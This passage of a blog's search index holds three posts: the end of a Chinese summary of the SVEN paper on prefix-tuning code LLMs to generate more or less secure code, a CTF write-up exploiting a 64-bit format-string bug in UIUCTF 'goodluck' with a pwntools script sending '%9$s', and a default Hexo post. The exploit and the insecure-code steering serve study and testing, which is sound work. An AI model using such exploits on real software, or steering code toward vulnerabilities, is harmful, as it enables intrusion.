评估数据集与漏洞选择</h3><p>为确保评估的全面性与现实性,本文构建了一个高质量的测试集:</p><ul><li><strong>漏洞类型</strong>:覆盖了<strong>9类关键且常见的CWE漏洞</strong>,包括:<ul><li>SQL注入(CWE-89)</li><li>路径遍历(CWE-22)</li><li>操作系统命令注入(CWE-78)</li><li>跨站脚本(CWE-79)</li><li>越界读写(CWE-125, CWE-787)</li><li>空指针解引用(CWE-476)</li><li>整数溢出(CWE-190)</li><li>释放后重用(CWE-416)</li></ul></li><li><strong>场景设计</strong>:每类漏洞下设计了<strong>多个不同的代码场景</strong>(共18个测试场景),涵盖Python和C两种语言,以模拟真实的编程任务。</li><li><strong>数据划分</strong>:每个CWE下的场景被进一步划分为测试集与验证集,防止模型过拟合到特定代码片段。</li></ul><h3 id="3-基线模型与目标模型"><a href="#3-基线模型与目标模型" class="headerlink" title="3. 基线模型与目标模型"></a>3. 基线模型与目标模型</h3><ul><li><strong>基础模型</strong>:实验主要在以CodeGen家族的多规模模型(350M, 2.7B, 6.1B参数)上进行,以检验方法在不同模型容量下的有效性。</li><li><strong>对比基准</strong>:以<strong>未经过任何安全控制的原始CodeGen模型</strong>作为主要性能基线。</li></ul><h3 id="4-评估指标"><a href="#4-评估指标" class="headerlink" title="4. 评估指标"></a>4. 评估指标</h3><ul><li><strong>安全率</strong>:在给定漏洞场景下,模型生成的安全代码样本占总生成样本的百分比。这是衡量安全控制能力的核心指标。</li></ul><p><img src="/images/sven/figure10.png" alt="Figure 10: Security rate on individual scenarios of our main CWEs. The base model is CodeGen-2.7B. The temperature is 0.4."></p><ul><li><strong>功能正确率</strong>:使用HumanEval基准测试的pass@k得分,评估模型生成代码的功能正确性是否因安全控制而下降。<br><img src="/images/sven/table3.png" alt="Table 3: Comparison between CodeGen LMs [57] and SVENon the ability to generate functionally correct code, measuredby pass@𝑘 scores on the HumanEval benchmark [26]."></li></ul><h3 id="5-实验配置"><a href="#5-实验配置" class="headerlink" title="5. 实验配置"></a>5. 实验配置</h3><ul><li><p><strong>解码温度</strong>:为了检验方法在不同生成随机性下的稳定性,实验在<strong>两个不同的温度值</strong>下进行:<strong>0.4</strong>(兼顾多样性与确定性)和<strong>0.1</strong>(高确定性、低随机性)。<br><img src="/images/sven/figure-7-8-9.png" alt="figure7-8-9"></p></li><li><p><strong>控制方式</strong>:实验中,通过切换SVEN学习的<strong>安全前缀</strong>与<strong>不安全前缀</strong>,使同一个基础模型能在<strong>安全加固</strong>与<strong>对抗测试</strong>两种模式下运行。</p></li></ul><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>本研究针对代码生成大模型频繁生成不安全代码问题,提出一个可控的安全研究范式。通过定义<strong>受控代码生成</strong>这一任务,将<strong>安全加固</strong>和<strong>对抗性测试</strong>整合到同一个框架下。为解决该任务,本文设计了SVEN这一轻量级解决方案,其核心在于:</p><ul><li>1)<strong>模块化架构</strong>:通过学习属性特定的连续前缀来引导生成方向,无需修改大模型权重;</li><li>2)<strong>精准的训练策略</strong>:利用分区域损失函数,在代码的修改区域强化安全控制,在未变区域保持功能正确性;</li><li>3)<strong>高质量数据基础</strong>:通过人工精炼构建专用数据集,确保了方法的有效性。</li></ul><p>全面的实验评估表明,SVEN能够以“开关”式的精准控制,在覆盖多种高危漏洞(CWE)的测试集上,<strong>显著提升或降低模型的安全生成率</strong>(例如,将某模型的安全率从59.1%提升至92.3%或降至36.8%),同时几乎完全保持模型原有的功能正确性。这项工作不仅为提升现有AI编程助手的安全性提供了切实可行的技术路径,更重要的是,它在保持功能正确性的严格约束下,为代码模型建立了系统性的对抗评估基准。</p><h2 id="研究的局限性和未来方向"><a href="#研究的局限性和未来方向" class="headerlink" title="研究的局限性和未来方向"></a>研究的局限性和未来方向</h2><p>本研究虽提出了创新的框架,但仍存在若干局限,这些局限恰恰指明了有价值的未来工作方向:</p><ul><li><ol><li><strong>泛化能力的局限</strong>:SVEN的有效性目前主要在Python和C/C++语言的特定CWE漏洞上得到验证。对于<strong>训练数据未覆盖的漏洞类型及其他编程语言</strong>,其控制能力可能下降。未来需构建<strong>更全面、多样化的安全修复数据集</strong>,可借助自动化安全分析工具或众包平台来扩充数据。</li></ol></li><li><ol start="2"><li>……</li></ol></li></ul>]]></content>
<categories>
<category>Paper</category>
</categories>
<tags>
<tag>LLM</tag>
<tag>Code Generation</tag>
<tag>LLM安全</tag>
<tag>Prefix Tunning</tag>
</tags>
</entry>
<entry>
<title>前世今生之64位程序格式化字符串漏洞</title>
<link href="/2026/01/23/fmtstr-exploit-x64/"/>
<url>/2026/01/23/fmtstr-exploit-x64/</url>
<content type="html"><![CDATA[<h2 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h2><blockquote><p>其实 64 位的偏移计算和 32 位类似,都是算对应的参数。只不过 64 位函数的前 6 个参数是存储在相应的寄存器中的。但是在利用格式化字符串时,虽然我们并没有向相应寄存器中放入数据,但是程序依旧会按照格式化字符串的相应格式对其进行解析。</p></blockquote><h2 id="例子"><a href="#例子" class="headerlink" title="例子"></a>例子</h2><h3 id="2017-UIUCTF-pwn200-Goodluck"><a href="#2017-UIUCTF-pwn200-Goodluck" class="headerlink" title="2017 UIUCTF pwn200 Goodluck"></a>2017 UIUCTF pwn200 Goodluck</h3><h4 id="Checksec"><a href="#Checksec" class="headerlink" title="Checksec:"></a>Checksec:</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># zer0ptr @ DESKTOP-FHEMUHT in ~/CTF-Training/Pwn/fmtstr/UIUCTF-pwn200Goodluck on git:master x [12:06:12]</span><br>$ checksec goodluck<br>[*] Checking <span class="hljs-keyword">for</span> new versions of pwntools<br> To <span class="hljs-built_in">disable</span> this functionality, <span class="hljs-built_in">set</span> the contents of /home/zer0ptr/.cache/.pwntools-cache-3.10/update to <span class="hljs-string">'never'</span> (old way).<br> Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):<br> [update]<br> interval=never<br>[*] You have the latest version of Pwntools (4.15.0)<br>[*] <span class="hljs-string">'/home/zer0ptr/CTF-Training/Pwn/fmtstr/UIUCTF-pwn200Goodluck/goodluck'</span><br> Arch: amd64-64-little<br> RELRO: Partial RELRO<br> Stack: Canary found<br> NX: NX enabled<br> PIE: No PIE (0x400000)<br> Stripped: No<br></code></pre></td></tr></table></figure><p>可以看出程序开启了 NX 保护以及部分 RELRO 保护。</p><h4 id="分析程序"><a href="#分析程序" class="headerlink" title="分析程序"></a>分析程序</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-keyword">for</span> ( j = <span class="hljs-number">0</span>; j <= <span class="hljs-number">21</span>; ++j )<br>{<br> v5 = format[j];<br> <span class="hljs-keyword">if</span> ( !v5 || v11[j] != v5 )<br> {<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"You answered:"</span>);<br> <span class="hljs-built_in">printf</span>(format);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"\nBut that was totally wrong lol get rekt"</span>);<br> fflush(_bss_start);<br> result = <span class="hljs-number">0</span>;<br> <span class="hljs-keyword">goto</span> LABEL_11;<br> }<br>}<br></code></pre></td></tr></table></figure><h4 id="确定偏移"><a href="#确定偏移" class="headerlink" title="确定偏移"></a>确定偏移</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs bash">──────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────<br>00:0000│ rsp 0x7fffffffdcd8 —▸ 0x400890 (main+234) ◂— mov edi, 0x4009b8<br>01:0008│-040 0x7fffffffdce0 ◂— 0x31000000<br>02:0010│-038 0x7fffffffdce8 —▸ 0x602ca0 ◂— 0x363534333231 /* <span class="hljs-string">'123456'</span> */<br>03:0018│-030 0x7fffffffdcf0 —▸ 0x6022a0 ◂— 0x602<br>04:0020│-028 0x7fffffffdcf8 —▸ 0x7fffffffdd00 ◂— 0x616c667b67616c66 (<span class="hljs-string">'flag{fla'</span>)<br><br>──────────────────────────────────────────────────────────────────────────────────────────────────────<br>pwndbg> fmtarg 0x7fffffffdcf8<br>The index of format argument : 10 (\"\%9<span class="hljs-variable">$p</span>\")<br></code></pre></td></tr></table></figure><h4 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *<br><br>context(arch=<span class="hljs-string">'amd64'</span>, os=<span class="hljs-string">'linux'</span>)<br>goodluck = ELF(<span class="hljs-string">'./goodluck'</span>)<br>sh = process(<span class="hljs-string">'./goodluck'</span>)<br><br>payload = <span class="hljs-string">b"%9$s"</span><br><span class="hljs-built_in">print</span>(payload)<br><span class="hljs-comment"># gdb.attach(sh)</span><br>sh.sendline(payload)<br><span class="hljs-built_in">print</span>(sh.recv())<br>sh.interactive()<br></code></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># zer0ptr @ DESKTOP-FHEMUHT in ~/CTF-Training/Pwn/fmtstr/UIUCTF-pwn200Goodluck on git:master x [12:12:00] C:130</span><br>$ python3 exp.py<br>[*] <span class="hljs-string">'/home/zer0ptr/CTF-Training/Pwn/fmtstr/UIUCTF-pwn200Goodluck/goodluck'</span><br> Arch: amd64-64-little<br> RELRO: Partial RELRO<br> Stack: Canary found<br> NX: NX enabled<br> PIE: No PIE (0x400000)<br> Stripped: No<br>[+] Starting <span class="hljs-built_in">local</span> process <span class="hljs-string">'./goodluck'</span>: pid 7481<br>[*] Process <span class="hljs-string">'./goodluck'</span> stopped with <span class="hljs-built_in">exit</span> code 0 (pid 7481)<br>b<span class="hljs-string">"what's the flag\nYou answered:\nflag{flag}\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\nBut that was totally wrong lol get rekt\n"</span><br>[*] Switching to interactive mode<br>[*] Got EOF <span class="hljs-keyword">while</span> reading <span class="hljs-keyword">in</span> interactive<br>$ <br></code></pre></td></tr></table></figure>]]></content>
<categories>
<category>fmtstr</category>
</categories>
<tags>
<tag>Pwn</tag>
<tag>格式化字符串漏洞</tag>
</tags>
</entry>
<entry>
<title>Hello World</title>
<link href="/2025/02/14/hello-world/"/>
<url>/2025/02/14/hello-world/</url>
<content type="html"><![CDATA[<p>Welcome to <a href="https://hexo.io/">Hexo</a>! This is your very first post. Check <a href="https://hexo.io/docs/">documentation</a> for more info. If you get any problems when using Hexo, you can find the answer in <a href="https://hexo.io/docs/troubleshooting.html">troubleshooting</a> or you can ask me on <a href="https://github.com/hexojs/hexo/issues">GitHub</a>.</p><h2 id="Quick-Start"><a href="#Quick-Start" class="headerlink" title="Quick Start"></a>Quick Start</h2><h3 id="Create-a-new-post"><a href="#Create-a-new-post" class="headerlink" title="Create a new post"></a>Create a new post</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">$ hexo new <span class="hljs-string">"My New Post"</span><br></code></pre></td></tr></table></figure><p>More info: <a href="https://hexo.io/docs/writing.html">Writing</a></p><h3 id="Run-server"><a href="#Run-server" class="headerlink" title="Run server"></a>Run server</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">$ hexo server<br></code></pre></td></tr></table></figure><p>More info: <a href="https://hexo.io/docs/server.html">Server</a></p><h3 id="Generate-static-files"><a href="#Generate-static-files" class="headerlink" title="Generate static files"></a>Generate static files</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">$ hexo generate<br></code></pre></td></tr></table></figure><p>More info: <a href="https://hexo.io/docs/generating.html">Generating</a></p><h3 id="Deploy-to-remote-sites"><a href="#Deploy-to-remote-sites" class="headerlink" title="Deploy to remote sites"></a>Deploy to remote sites</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">$ hexo deploy<br></code></pre></td></tr></table></figure><p>More info: <a href="https://hexo.io/docs/one-command-deployment.html">Deployment</a></p>]]></content>
</entry>
</search>